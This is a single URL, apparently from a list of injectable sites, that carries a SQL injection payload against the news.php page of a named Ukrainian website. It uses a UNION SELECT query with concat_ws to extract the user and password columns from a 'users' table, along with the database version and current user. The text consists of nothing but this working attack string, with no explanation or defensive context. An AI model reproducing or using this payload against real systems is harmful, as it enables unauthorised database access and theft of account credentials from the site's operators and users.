http://www.a2k.org.ua/news.php?id=-31+union+select+1,2,3,null,concat_ws(0x3a,user,password),version(),user(),8,9,10,11,12,13,14,15,1 
6,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38+from+users/*